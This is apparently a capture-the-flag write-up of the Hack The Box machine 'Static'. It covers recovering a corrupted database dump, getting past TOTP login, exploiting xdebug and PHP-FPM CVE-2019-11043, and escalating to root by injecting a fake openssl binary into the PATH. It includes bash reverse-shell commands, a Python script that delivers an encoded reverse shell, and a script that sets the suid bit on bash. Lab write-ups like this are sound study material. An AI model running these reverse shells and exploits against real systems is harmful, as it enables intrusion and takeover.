Enumeration

sudo nmap -sC -sS -sV -F 10.10.10.246 >scan.txt

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-01 13:43 EET
Nmap scan report for 10.10.10.246
Host is up (0.11s latency).
Not shown: 98 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
|   256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_  256 2d:43:bc:4e:b3:33:c9:82:4e🇩🇪b6:5e:10:ca:a7:c5 (ED25519)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.61 seconds

There is an http service at port 8080. It includes a robots.txt.

We can access the uploads folder in robots.txt http://10.10.10.246:8080/.ftp_uploads/.

[   ]   db.sql.gz   2020-06-18 12:30    262
[TXT]   warning.txt 2020-06-19 13:00    78

Binary files are being corrupted during transfer!!! Check if are recoverable. – warning.txt

Getting the foothold

We can get some gzip recovery tools to try to recover the db.sql.gz file.

yay -S gzrt
gzrecover db.sql.gz

Now that it is recovered, we can see the default contents of the table:

CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsignint  a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS iaA;
INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
IN

💡

I could have used the following tool in order to correctly repair it instead of play guessing. The gzrecover recovered some part of the content without repairing it.

We can infer the following content:

CREATE DATABASE static;
USE static;
CREATE TABLE users (
       id smallint unsignint auto_increment,
       name varchar(20),
       password varchar(40),
       totp varchar(16),
       primary key (id)
);

INSERT INTO users (name, password, totp) values (
       'admin',
       'd05nade22ae348aeb5660fc2140aec35850c4da997m',
       'd0orxxi4c7orxwwzlo',
);

We can login in http://10.10.10.246:8080/vpn/ (the other robots.txt page) with admin:admin credentials. We get prompted for an OTP (One Time Password). If we use a TOTP tool, such as Google Authenticator, we can add orxxi4c7orxwwzlo as the key and use the number generated. I ignored the d0 start because password started the same and totp column was at most 16 chars long.

After login in, we can input a file name for the OpenVPN file to be generated. We get the following error:

Cannot resolve host address: vpn.static.htb:1194

Let’s add the static.htb and vpn.static.htb to /etc/hosts. As I’m using VPN with UDP for hackthebox, I’ll change to the TCP option.

We will need to configure the routing for the IPs that are listed in the page. We can use ip route command for that:

sudo ip route add 172.20.0.10/24 dev tun9

After adding the routes, we can enter to the page by using the url. It is a phpinfo() page. phpinfo usually exposes some senstive information. In this case, we can see xdebug, which is a php debugger plugin.

We can exploit the xdebug with this repository by running:

./exploit-shell.py

And requesting with wget to start the remote xdebug session:

wget -q -O - "172.20.0.10/info.php?XDEBUG_SESSION_START=phpstorm --header 'X-Forwarded-For: 172.30.0.10'"

Where 172.30.0.10 is my ip inside the vpn.

After getting the xdebug shell, we can call system commands like:

system("bash -c 'bash -i >& /dev/tcp/172.30.0.10/6666 0>&1'")

This will upgrade the shell to a real one (you have to listen at port 6666). And we can get the user.txt from /home/user.txt.

We can get the ssh key of www-data from /home/www-data/.ssh/id_rsa.

ssh -i www-data.key www-data@172.20.0.10

Horizontal movement

Once we are in, we can see some configuration in /var/www/html/vpn.

<?php
$servername = "db";
$username = "root";
$password = "2108@C00l";
$dbname = "static";
?>

But it seems like this password cannot be used to login as root.

We saw a PKI (Public Key Infrastructure) service running in a local ip. In the panel.php file, there is a reference to that pki service.

<?php
require "header.php";

if($_SESSION['auth']!="GRANTED"){
        session_destroy();
        header("Location: index.php");
} else {
        if(isset($_POST['cn'])){
                $cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_POST['cn']);
                header('Content-type: application/octet-stream');
                header('Content-Disposition: attachment; filename="'.$cn.'.ovpn"');
                $handle = curl_init();
                $url = "http://pki/?cn=".$cn;
                curl_setopt($handle, CURLOPT_URL, $url);
                curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
                $output = curl_exec($handle);
                curl_close($handle);
                echo $output;
                die();
        }
?>

There is some curl going on, so we expect it to be an HTTP server at port 80. We can expose the port with ssh:

ssh -L8080:192.168.254.3:80 -i www-data.key www-data@172.20.0.10

If we visit the page, we get the following:

batch mode: /usr/bin/ersatool create|print|revoke CN

If we use the post parameter cn, we can generate those vpn files we already used: http://localhost:8080/?cn=a

The output from curl is the following:

< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 22:02:43 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP-FPM/7.1
<
batch mode: /usr/bin/ersatool create|print|revoke CN

Googling that PHP-FPM 7.1 leads us to a remote command execution vulnerability (CVE-2019-11043). We can use this tool to exploit it:

go get github.com/neex/phuip-fpizdam
go install github.com/neex/phuip-fpizdam
phuip-fpizdam http://localhost:8080/index.php

2021/11/02 00:09:30 Base status code is 200
2021/11/02 00:09:41 Status code 502 for qsl=1765, adding as a candidate
2021/11/02 00:09:49 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2021/11/02 00:09:57 Attack params found: --qsl 1755 --pisos 22 --skip-detect
2021/11/02 00:09:57 Trying to set "session.auto_start=0"...
2021/11/02 00:10:10 Detect() returned attack params: --qsl 1755 --pisos 22 --skip-detect <-- REMEMBER THIS
2021/11/02 00:10:10 Performing attack using php.ini settings...
2021/11/02 00:10:23 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2021/11/02 00:10:23 Trying to cleanup /tmp/a...
2021/11/02 00:10:25 Done!

Once this is done, there will be a new GET parameter a which will be exploitable, allowing us to run any command runnable on the machine.

curl -G 'http://127.0.0.1:8080/index.php' --data-urlencode "a=/usr/bin/whoami"
www-data

Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
batch mode: /usr/bin/ersatool create|print|revoke CN

If we check for the interfaces (ifconfig) of the current machine (not the one with pki), we see the local network where the pki service is. For that network, the machine is using 192.168.254.2.

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.20.0.10  netmask 255.255.255.0  broadcast 172.20.0.255
        ether 02:42:ac:14:00:0a  txqueuelen 0  (Ethernet)
        RX packets 7459  bytes 5112263 (5.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8906  bytes 1499359 (1.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.254.2  netmask 255.255.255.0  broadcast 192.168.254.255
        ether 02:42:c0:a8:fe:02  txqueuelen 0  (Ethernet)
        RX packets 5631  bytes 1056770 (1.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6156  bytes 4727496 (4.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 264 (264.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 264 (264.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

We can copy a netcat binary to the machine through scp:

scp -i www-data.key /usr/bin/nc www-data@172.20.0.10:/tmp/nc

In www-data, we can listen for the reverse shell with:

/tmp/nc -nlvp 6666

We will base64 + urlEncode the reverse shell. The a parameter sometimes doesn’t work, so I will use the following exploit (to simplify the encoding and retrying):

import requests
import base64
import urllib.parse

target = "http://localhost:8080/index.php"
command = "bash -i >& /dev/tcp/192.168.254.2/6666 0>&1"
encoded = urllib.parse.quote_plus(base64.b64encode(command.encode()))

i = 0
while i < 10:
    r = requests.get(f"{target}?a=/bin/sh+-c+'echo+-n+{encoded}+|+base64+-d+|+bash'")
    if not r.text.startswith("batch mode:"):
        print(r.text.splitlines()[0])
        break
    i += 1

if i == 10:
    print("couldn't get response for command")

After running it, we will have the www-data user of the pki service machine.

Privilege escalation

In the pki machine, we can look for references to the ersatool command.

www-data@pki:~$ find / -name '*ersa*' 2>/dev/null

/usr/src/ersatool.c
/usr/bin/ersatool

We can find the binary and the source code of ersatool. In the source, there are two setuid(0) calls: one when creating a CN and another one when printing. Also, when creating, it executes a command of some tool called EasyRSA.

We could perform some path injection, but the EasyRSA tool seems to be using its whole path. Although, if we investigate more in Github, we can see it requires an openssl binary in your PATH.

Build software better, together
GitHub is where people build software. More than 100 million people use GitHub to discover, fork, and contribute to over 420 million projects.
According to the README:

When building a CA, a number of new files are created by a combination of Easy-RSA and (indirectly) openssl.

💡

In case I was not able to learn more about EasyRSA, I could have used pspy to analyze which commands were being called from the ersatool.

So we could try to inject a malicious openssl binary, which would be executed as root when running the EasyRSA tool (on CN creation):

#!/bin/bash
chmod u+s /bin/bash

In order to transfer it to the machine, we can encode it as base64.

cat openssl.sh | base64

IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo=

And now copy it to the pki machine in some writtable folder.

www-data@pki:~/html/uploads$ echo IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo= | base64 -d >openssl

Make it executable for everyone.

chmod +x openssl

And now add the folder to the PATH.

export PATH=/var/www/html/uploads:$PATH

We can now check that the malicious openssl has been successfuly injected.

www-data@pki:~/html/uploads$ which openssl
/var/www/html/uploads/openssl

We can run ersatool with the create option to run the injected openssl script:

www-data@pki:~/html/uploads$ ersatool create test

And then we can check that /bin/bash now has the suid bit.

www-data@pki:~/html/uploads$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash

Which will let us do:

www-data@pki:~/html/uploads$ /bin/bash -p

And we will get a root shell

References